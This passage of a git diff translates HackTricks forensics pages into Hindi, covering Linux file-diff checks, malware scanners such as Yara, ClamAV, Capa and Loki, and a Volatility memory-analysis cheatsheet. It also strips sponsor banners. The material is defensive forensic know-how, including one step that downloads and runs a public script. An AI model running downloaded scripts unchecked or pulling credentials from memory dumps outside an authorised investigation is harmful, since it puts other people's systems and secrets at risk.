path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **संशोधित सामग्री के लिए**, परिवर्तनों की सूची बनाएं जबकि विशिष्ट पंक्तियों की अनदेखी करें: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **हटाए गए फ़ाइलों का पता लगाने के लिए**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **फिल्टर विकल्प** (`--diff-filter`) विशिष्ट परिवर्तनों जैसे जोड़े गए (`A`), हटाए गए (`D`), या संशोधित (`M`) फ़ाइलों तक सीमित करने में मदद करते हैं। +- `A`: जोड़ी गई फ़ाइलें +- `C`: कॉपी की गई फ़ाइलें +- `D`: हटाई गई फ़ाइलें +- `M`: संशोधित फ़ाइलें +- `R`: नाम बदली गई फ़ाइलें +- `T`: प्रकार परिवर्तन (जैसे, फ़ाइल से सिम्लिंक) +- `U`: असंयुक्त फ़ाइलें +- `X`: अज्ञात फ़ाइलें +- `B`: टूटी हुई फ़ाइलें -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## संदर्भ - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **पुस्तक: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md index c7edd6650..f4c59ca2b 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md @@ -19,131 +19,114 @@ ### Yara #### Install - ```bash sudo apt-get install -y yara ``` - #### Prepare rules -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +इस स्क्रिप्ट का उपयोग करके github से सभी yara malware नियमों को डाउनलोड और मर्ज करें: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +_**rules**_ निर्देशिका बनाएं और इसे निष्पादित करें। यह _**malware_rules.yar**_ नामक एक फ़ाइल बनाएगा जिसमें malware के लिए सभी yara नियम शामिल हैं। ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### स्कैन ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: मैलवेयर की जांच करें और नियम बनाएं -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +आप बाइनरी से यारा नियम उत्पन्न करने के लिए टूल [**YaraGen**](https://github.com/Neo23x0/yarGen) का उपयोग कर सकते हैं। इन ट्यूटोरियल्स को देखें: [**भाग 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**भाग 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**भाग 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) ```bash - python3 yarGen.py --update - python3.exe yarGen.py --excludegood -m ../../mals/ +python3 yarGen.py --update +python3.exe yarGen.py --excludegood -m ../../mals/ ``` - ### ClamAV -#### Install - +#### स्थापित करें ``` sudo apt-get install -y clamav ``` - -#### Scan - +#### स्कैन ```bash sudo freshclam #Update rules clamscan filepath #Scan 1 file clamscan folderpath #Scan the whole folder ``` - ### [Capa](https://github.com/mandiant/capa) -**Capa** detects potentially malicious **capabilities** in executables: PE, ELF, .NET. So it will find things such as Att\&ck tactics, or suspicious capabilities such as: +**Capa** संभावित हानिकारक **क्षमताओं** का पता लगाता है जो executables में होती हैं: PE, ELF, .NET। इसलिए यह ऐसे चीजें खोजेगा जैसे Att\&ck रणनीतियाँ, या संदिग्ध क्षमताएँ जैसे: -- check for OutputDebugString error -- run as a service -- create process +- OutputDebugString त्रुटि के लिए जांचें +- सेवा के रूप में चलाएँ +- प्रक्रिया बनाएँ -Get it int he [**Github repo**](https://github.com/mandiant/capa). +इसे [**Github repo**](https://github.com/mandiant/capa) में प्राप्त करें। ### IOCs -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC का अर्थ है Indicator Of Compromise। एक IOC कुछ संभावित अवांछित सॉफ़्टवेयर या पुष्टि किए गए **malware** की पहचान करने के लिए **शर्तों का एक सेट** है। ब्लू टीमें इस प्रकार की परिभाषा का उपयोग अपने **सिस्टम** और **नेटवर्क** में इस प्रकार की हानिकारक फ़ाइलों की **खोज** के लिए करती हैं।\ +इन परिभाषाओं को साझा करना बहुत उपयोगी है क्योंकि जब किसी कंप्यूटर में malware की पहचान की जाती है और उस malware के लिए एक IOC बनाया जाता है, तो अन्य ब्लू टीमें इसे malware की पहचान तेजी से करने के लिए उपयोग कर सकती हैं। -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +IOCs बनाने या संशोधित करने के लिए एक उपकरण है [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +आप [**Redline**](https://www.fireeye.com/services/freeware/redline.html) जैसे उपकरणों का उपयोग करके **एक डिवाइस में परिभाषित IOCs की खोज** कर सकते हैं। ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) सरल Indicators of Compromise के लिए एक स्कैनर है।\ +पता लगाने के चार तरीकों पर आधारित है: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) एक मैलवेयर स्कैनर है जो GNU GPLv2 लाइसेंस के तहत जारी किया गया है, जो साझा होस्टेड वातावरण में सामना की जाने वाली खतरों के चारों ओर डिज़ाइन किया गया है। यह नेटवर्क एज इंट्रूज़न डिटेक्शन सिस्टम से खतरे के डेटा का उपयोग करता है ताकि उन मैलवेयर को निकाला जा सके जो हमलों में सक्रिय रूप से उपयोग किए जा रहे हैं और पहचान के लिए सिग्नेचर उत्पन्न करता है। इसके अतिरिक्त, खतरे का डेटा LMD चेकआउट फीचर और मैलवेयर समुदाय संसाधनों के साथ उपयोगकर्ता सबमिशन से भी प्राप्त किया जाता है। ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +जैसे उपकरण [**rkhunter**](http://rkhunter.sourceforge.net) का उपयोग फ़ाइल सिस्टम की जांच के लिए संभावित **रूटकिट्स** और मैलवेयर के लिए किया जा सकता है। ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) एक उपकरण है जो विभिन्न तकनीकों का उपयोग करके निष्पादन योग्य फ़ाइलों के अंदर छिपे हुए स्ट्रिंग्स को खोजने की कोशिश करेगा। ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper ](https://github.com/Th3Hurrican3/PEpper) निष्पादन योग्य फ़ाइल के अंदर कुछ बुनियादी चीजों की जांच करता है (बाइनरी डेटा, एंट्रॉपी, URL और IP, कुछ यारा नियम)। ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) एक उपकरण है जो Windows निष्पादन योग्य फ़ाइलों की जानकारी प्राप्त करने की अनुमति देता है जैसे कि आयात, निर्यात, हेडर, लेकिन यह वायरस टोटल की भी जांच करेगा और संभावित Att\&ck तकनीकों को खोजेगा। ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) एक उपकरण है जो यह पता लगाने के लिए है कि क्या एक फ़ाइल **एन्क्रिप्टेड** है और **पैकर** भी खोजता है। ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI) एक Python स्क्रिप्ट है जो **छिपे हुए** और **एन्क्रिप्टेड** सामग्री का पता लगाने के लिए विभिन्न **सांख्यिकीय विधियों** का उपयोग करती है। NeoPI का उद्देश्य **छिपे हुए वेब शेल कोड** का पता लगाने में सहायता करना है। ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) **छिपे हुए**/**संदिग्ध कोड** के साथ-साथ **PHP** फ़ंक्शंस का उपयोग करने वाली फ़ाइलों का पता लगाने के लिए अपनी पूरी कोशिश करता है जो अक्सर **मैलवेयर**/वेबशेल में उपयोग किए जाते हैं। ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +जब आप कुछ **मैलवेयर नमूना** की जांच कर रहे हों तो आपको हमेशा बाइनरी के **हस्ताक्षर** की जांच करनी चाहिए क्योंकि **डेवलपर** जिसने इसे हस्ताक्षरित किया है, वह पहले से ही **मैलवेयर** से **संबंधित** हो सकता है। ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` - ## Detection Techniques ### File Stacking -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +यदि आप जानते हैं कि किसी फ़ोल्डर में **फाइलें** एक वेब सर्वर की **अंतिम बार कुछ तारीख पर अपडेट की गई थीं**। **जांचें** कि **वेब सर्वर में सभी फाइलों** की **तारीख** कब **बनाई और संशोधित की गई** थी और यदि कोई तारीख **संदिग्ध** है, तो उस फ़ाइल की जांच करें। ### Baselines -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +यदि किसी फ़ोल्डर की फाइलें **संशोधित नहीं की जानी चाहिए थीं**, तो आप फ़ोल्डर की **मूल फाइलों** का **हैश** निकाल सकते हैं और उन्हें **वर्तमान** फाइलों के साथ **तुलना** कर सकते हैं। जो भी संशोधित होगा वह **संदिग्ध** होगा। ### Statistical Analysis -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +जब जानकारी लॉग में सहेजी जाती है, तो आप **सांख्यिकी की जांच कर सकते हैं जैसे कि एक वेब शेल के रूप में प्रत्येक फाइल को कितनी बार एक्सेस किया गया**। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md index 1c8be749a..bae6cdc9d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# मेमोरी डंप विश्लेषण {{#include ../../../banners/hacktricks-training.md}} -
+## प्रारंभ -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +**पीकैप** के अंदर **मैलवेयर** के लिए **खोज** करना शुरू करें। [**मैलवेयर विश्लेषण**](../malware-analysis.md) में उल्लिखित **उपकरणों** का उपयोग करें। -{% embed url="https://www.rootedcon.com/" %} +## [वोलाटिलिटी](volatility-cheatsheet.md) -## Start +**वोलाटिलिटी मेमोरी डंप विश्लेषण के लिए मुख्य ओपन-सोर्स ढांचा है**। यह पायथन उपकरण बाहरी स्रोतों या VMware VMs से डंप का विश्लेषण करता है, डंप के OS प्रोफ़ाइल के आधार पर प्रक्रियाओं और पासवर्ड जैसी जानकारी की पहचान करता है। यह प्लगइन्स के साथ विस्तारित किया जा सकता है, जिससे यह फोरेंसिक जांच के लिए अत्यधिक बहुपरकारी बनता है। -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +[**यहां एक चीटशीट खोजें**](volatility-cheatsheet.md) -## [Volatility](volatility-cheatsheet.md) +## मिनी डंप क्रैश रिपोर्ट -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. - -[**Find here a cheatsheet**](volatility-cheatsheet.md) - -## Mini dump crash report - -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +जब डंप छोटा होता है (केवल कुछ KB, शायद कुछ MB) तो यह शायद एक मिनी डंप क्रैश रिपोर्ट है और मेमोरी डंप नहीं है। ![](<../../../images/image (532).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +यदि आपके पास Visual Studio स्थापित है, तो आप इस फ़ाइल को खोल सकते हैं और प्रक्रिया का नाम, आर्किटेक्चर, अपवाद जानकारी और निष्पादित हो रहे मॉड्यूल जैसी कुछ बुनियादी जानकारी बाइंड कर सकते हैं: ![](<../../../images/image (263).png>) -You can also load the exception and see the decompiled instructions +आप अपवाद को भी लोड कर सकते हैं और डिकंपाइल की गई निर्देशों को देख सकते हैं ![](<../../../images/image (142).png>) ![](<../../../images/image (610).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +वैसे भी, Visual Studio डंप की गहराई का विश्लेषण करने के लिए सबसे अच्छा उपकरण नहीं है। -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +आपको इसे **IDA** या **Radare** का उपयोग करके **गहराई** से निरीक्षण करना चाहिए। ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index f6a63c08f..2fe397ce8 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -4,13 +4,8 @@ ​ -
- -​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} -If you need a tool that automates memory analysis with different scan levels and runs multiple Volatility3 plugins in parallel, you can use autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) +यदि आपको एक ऐसा उपकरण चाहिए जो विभिन्न स्कैन स्तरों के साथ मेमोरी विश्लेषण को स्वचालित करता है और कई Volatility3 प्लगइन्स को समानांतर में चलाता है, तो आप autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) का उपयोग कर सकते हैं। ```bash # Full scan (runs all plugins) python3 autovol3.py -f MEMFILE -o OUT_DIR -s full @@ -22,43 +17,34 @@ python3 autovol3.py -f MEMFILE -o OUT_DIR -s minimal python3 autovol3.py -f MEMFILE -o OUT_DIR -s normal ``` - -If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) - +यदि आप कुछ **तेज़ और पागल** चाहते हैं जो कई Volatility प्लगइन्स को समानांतर में लॉन्च करेगा, तो आप इसका उपयोग कर सकते हैं: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory) ``` - -## Installation +## स्थापना ### volatility3 - ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install python3 vol.py —h ``` - ### volatility2 {{#tabs}} {{#tab name="Method1"}} - ``` Download the executable from https://www.volatilityfoundation.org/26 ``` - {{#endtab}} {{#tab name="Method 2"}} - ```bash git clone https://github.com/volatilityfoundation/volatility.git cd volatility python setup.py install ``` - {{#endtab}} {{#endtabs}} @@ -66,13 +52,13 @@ python setup.py install Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) -### A note on “list” vs. “scan” plugins +### “list” बनाम “scan” प्लगइन्स पर एक नोट -Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. +Volatility के पास प्लगइन्स के लिए दो मुख्य दृष्टिकोण हैं, जो कभी-कभी उनके नामों में परिलक्षित होते हैं। “list” प्लगइन्स Windows Kernel संरचनाओं के माध्यम से नेविगेट करने की कोशिश करेंगे ताकि प्रक्रियाओं जैसी जानकारी प्राप्त की जा सके (मेमोरी में `_EPROCESS` संरचनाओं की लिंक की गई सूची को खोजें और चलाएं), OS हैंडल (हैंडल तालिका को खोजें और सूचीबद्ध करें, पाए गए किसी भी पॉइंटर को डेरिफरेंस करें, आदि)। वे लगभग उसी तरह व्यवहार करते हैं जैसे Windows API यदि अनुरोध किया जाए, उदाहरण के लिए, प्रक्रियाओं की सूची बनाना। -That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist. +इससे “list” प्लगइन्स काफी तेज हो जाते हैं, लेकिन मैलवेयर द्वारा हेरफेर के लिए Windows API के समान ही संवेदनशील होते हैं। उदाहरण के लिए, यदि मैलवेयर DKOM का उपयोग करके `_EPROCESS` लिंक की गई सूची से एक प्रक्रिया को अनलिंक करता है, तो यह टास्क मैनेजर में नहीं दिखाई देगा और न ही pslist में। -“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make`_EPROCESS` objects out of it (it uses pool-tag scanning, which is searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false positives (a process that exited too long ago and had parts of its structure overwritten by other operations). +दूसरी ओर, “scan” प्लगइन्स एक दृष्टिकोण अपनाएंगे जो मेमोरी को उन चीजों के लिए काटने के समान होगा जो विशेष संरचनाओं के रूप में डेरिफरेंस किए जाने पर समझ में आ सकती हैं। उदाहरण के लिए, `psscan` मेमोरी को पढ़ेगा और इससे `_EPROCESS` ऑब्जेक्ट बनाने की कोशिश करेगा (यह पूल-टैग स्कैनिंग का उपयोग करता है, जो 4-बाइट स्ट्रिंग्स की खोज कर रहा है जो किसी रुचि की संरचना की उपस्थिति को इंगित करती हैं)। इसका लाभ यह है कि यह उन प्रक्रियाओं को खोज सकता है जो समाप्त हो गई हैं, और यहां तक कि यदि मैलवेयर `_EPROCESS` लिंक की गई सूची के साथ छेड़छाड़ करता है, तो प्लगइन अभी भी मेमोरी में संरचना को खोज लेगा (क्योंकि इसके लिए प्रक्रिया को चलाने के लिए अभी भी मौजूद होना आवश्यक है)। नुकसान यह है कि “scan” प्लगइन्स “list” प्लगइन्स की तुलना में थोड़े धीमे होते हैं, और कभी-कभी गलत सकारात्मक परिणाम दे सकते हैं (एक प्रक्रिया जो बहुत पहले समाप्त हो गई और जिसके संरचना के कुछ हिस्से अन्य संचालन द्वारा ओवरराइट हो गए)। From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) @@ -80,8 +66,8 @@ From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis ### Volatility3 -As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ -Symbol table packs for the various operating systems are available for **download** at: +जैसा कि README के अंदर समझाया गया है, आपको उस OS का **सिंबॉल टेबल** _volatility3/volatility/symbols_ के अंदर रखना होगा जिसे आप समर्थन करना चाहते हैं।\ +विभिन्न ऑपरेटिंग सिस्टम के लिए सिंबॉल टेबल पैक्स **डाउनलोड** के लिए उपलब्ध हैं: - [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) - [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -91,14 +77,11 @@ Symbol table packs for the various operating systems are available for **downloa #### External Profile -You can get the list of supported profiles doing: - +आप समर्थित प्रोफाइल की सूची प्राप्त कर सकते हैं: ```bash ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` - -If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: - +यदि आप एक **नया प्रोफ़ाइल जिसका आपने डाउनलोड किया है** (उदाहरण के लिए एक लिनक्स वाला) का उपयोग करना चाहते हैं, तो आपको कहीं निम्नलिखित फ़ोल्डर संरचना बनानी होगी: _plugins/overlays/linux_ और इस फ़ोल्डर के अंदर प्रोफ़ाइल वाला ज़िप फ़ाइल डालनी होगी। फिर, प्रोफ़ाइलों की संख्या प्राप्त करने के लिए: ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info Volatility Foundation Volatility Framework 2.6 @@ -110,28 +93,22 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10 VistaSP0x64 - A Profile for Windows Vista SP0 x64 VistaSP0x86 - A Profile for Windows Vista SP0 x86 ``` +आप **Linux और Mac प्रोफाइल डाउनलोड कर सकते हैं** [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) -You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) - -In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like: - +पिछले भाग में आप देख सकते हैं कि प्रोफाइल का नाम `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64` है, और आप इसका उपयोग कुछ इस तरह करने के लिए कर सकते हैं: ```bash ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` - -#### Discover Profile - +#### प्रोफ़ाइल खोजें ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` +#### **imageinfo और kdbgscan के बीच के अंतर** -#### **Differences between imageinfo and kdbgscan** - -[**From here**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it from . - -Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed) +[**यहां से**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): जहाँ imageinfo केवल प्रोफ़ाइल सुझाव प्रदान करता है, **kdbgscan** सही प्रोफ़ाइल और सही KDBG पते की सकारात्मक पहचान के लिए डिज़ाइन किया गया है (यदि कई हों)। यह प्लगइन Volatility प्रोफाइल से जुड़े KDBGHeader हस्ताक्षरों के लिए स्कैन करता है और झूठे सकारात्मक को कम करने के लिए सैनीटी चेक लागू करता है। आउटपुट की विस्तारता और किए जा सकने वाले सैनीटी चेक की संख्या इस पर निर्भर करती है कि क्या Volatility एक DTB खोज सकता है, इसलिए यदि आप पहले से ही सही प्रोफ़ाइल जानते हैं (या यदि आपके पास imageinfo से प्रोफ़ाइल सुझाव है), तो सुनिश्चित करें कि आप इसका उपयोग करें। +हमेशा **kdbgscan द्वारा पाए गए प्रक्रियाओं की संख्या** पर नज़र रखें। कभी-कभी imageinfo और kdbgscan **एक से अधिक** उपयुक्त **प्रोफ़ाइल** पा सकते हैं लेकिन केवल **मान्य प्रोफ़ाइल में कुछ प्रक्रिया संबंधित** होगी (यह इसलिए है क्योंकि प्रक्रियाओं को निकालने के लिए सही KDBG पते की आवश्यकता होती है) ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -143,275 +120,220 @@ PsLoadedModuleList : 0xfffff8000119aae0 (116 modules) PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` - #### KDBG -The **kernel debugger block**, referred to as **KDBG** by Volatility, is crucial for forensic tasks performed by Volatility and various debuggers. Identified as `KdDebuggerDataBlock` and of the type `_KDDEBUGGER_DATA64`, it contains essential references like `PsActiveProcessHead`. This specific reference points to the head of the process list, enabling the listing of all processes, which is fundamental for thorough memory analysis. +**कर्नेल डिबगर ब्लॉक**, जिसे **KDBG** के नाम से जाना जाता है, वोलाटिलिटी और विभिन्न डिबगर द्वारा किए गए फोरेंसिक कार्यों के लिए महत्वपूर्ण है। इसे `KdDebuggerDataBlock` के रूप में पहचाना जाता है और यह प्रकार 